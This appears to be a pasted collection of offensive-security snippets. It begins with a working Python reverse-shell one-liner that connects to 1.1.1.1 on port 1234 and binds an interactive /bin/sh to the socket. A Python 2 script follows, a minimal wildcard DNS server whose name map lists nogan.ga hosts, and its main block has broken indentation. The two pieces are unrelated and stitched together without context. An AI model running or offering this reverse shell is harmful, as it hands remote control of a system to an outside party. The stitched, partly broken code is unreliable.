python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("1.1.1.1",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2014-06-29 03:01:25
# @Author  : Your Name ([email protected])
# @Link    : http://example.org
# @Version : $Id$

import SocketServer
import struct
import socket as socketlib
# DNS Query
class SinDNSQuery:
    def __init__(self, data):
        i = 1
        self.name = ''
        while True:
            d = ord(data[i])
            if d == 0:
                break;
            if d < 32:
                self.name = self.name + '.'
            else:
                self.name = self.name + chr(d)
            i = i + 1
        self.querybytes = data[0:i + 1]
        (self.type, self.classify) = struct.unpack('>HH', data[i + 1:i + 5])
        self.len = i + 5
    def getbytes(self):
        return self.querybytes + struct.pack('>HH', self.type, self.classify)



# DNS Answer RRS
# this class is also can be use as Authority RRS or Additional RRS 
class SinDNSAnswer:
    def __init__(self, ip):
        self.name = 49164
        self.type = 1
        self.classify = 1
        self.timetolive = 190
        self.datalength = 4
        self.ip = ip

    def getbytes(self):
        res = struct.pack('>HHHLH', self.name, self.type, self.classify, self.timetolive, self.datalength)
        s = self.ip.split('.')
        res = res + struct.pack('BBBB', int(s[0]), int(s[1]), int(s[2]), int(s[3]))
        return res

# DNS frame
# must initialized by a DNS query frame
class SinDNSFrame:
    def __init__(self, data):
        (self.id, self.flags, self.quests, self.answers, self.author, self.addition) = struct.unpack('>HHHHHH', data[0:12])
        self.query = SinDNSQuery(data[12:])

    def getname(self):
        return self.query.name

    def setip(self, ip):
        self.answer = SinDNSAnswer(ip)
        self.answers = 1
        self.flags = 33152

    def getbytes(self):

        res = struct.pack('>HHHHHH', self.id, self.flags, self.quests, self.answers, self.author, self.addition)
        res = res + self.query.getbytes()
        if self.answers != 0:
            res = res + self.answer.getbytes()
        return res

# A UDPHandler to handle DNS query
class SinDNSUDPHandler(SocketServer.BaseRequestHandler):
    def handle(self):
        data = self.request[0].strip()
        dns = SinDNSFrame(data)
        socket = self.request[1]
        namemap = SinDNSServer.namemap
        if(dns.query.type==1):
            # If this is query a A record, then response it
            name = dns.getname();
            toip = None
            ifrom = "map"
            if namemap.__contains__(name):
                # If have record, response it
                # dns.setip(namemap[name])
                # socket.sendto(dns.getbytes(), self.client_address)
                toip = namemap[name]
            elif namemap.__contains__('*'):
                # Response default address
                # dns.setip(namemap['*'])
                # socket.sendto(dns.getbytes(), self.client_address)
                toip = namemap['*']
            else:
                # ignore it
                # socket.sendto(data, self.client_address)
                # socket.getaddrinfo(name,0)
                try:
                    toip = socketlib.getaddrinfo(name,0)[0][4][0]
                    ifrom = "sev"
                    # namemap[name] = toip
                    # print socket.getaddrinfo(name,0)
                except Exception, e:
                    print 'get ip fail'
            if toip:
                dns.setip(toip)

            print '%s: %s-->%s (%s)'%(self.client_address[0], name, toip, ifrom)
            socket.sendto(dns.getbytes(), self.client_address)
        else:
            # If this is not query a A record, ignore it
            socket.sendto(data, self.client_address)

# DNS Server
# It only support A record query
# user it, U can create a simple DNS server
class SinDNSServer:
    def __init__(self, port=53):
        SinDNSServer.namemap = {}
        self.port = port

    def addname(self, name, ip):
        SinDNSServer.namemap[name] = ip

    def start(self):
        HOST, PORT = "0.0.0.0", self.port
        server = SocketServer.UDPServer((HOST, PORT), SinDNSUDPHandler)
        server.serve_forever()

# Now, test it
if __name__ == "__main__":
    sev = SinDNSServer()
        sev.addname('ns0.nogan.ga','x.x.x.x') 
        sev.addname('ns1.nogan.ga','x.x.x.x')
        sev.addname('www.nogan.ga','y.y.y.y')
        sev.addname('*', '127.0.0.1') # default address

    sev.start() # start DNS server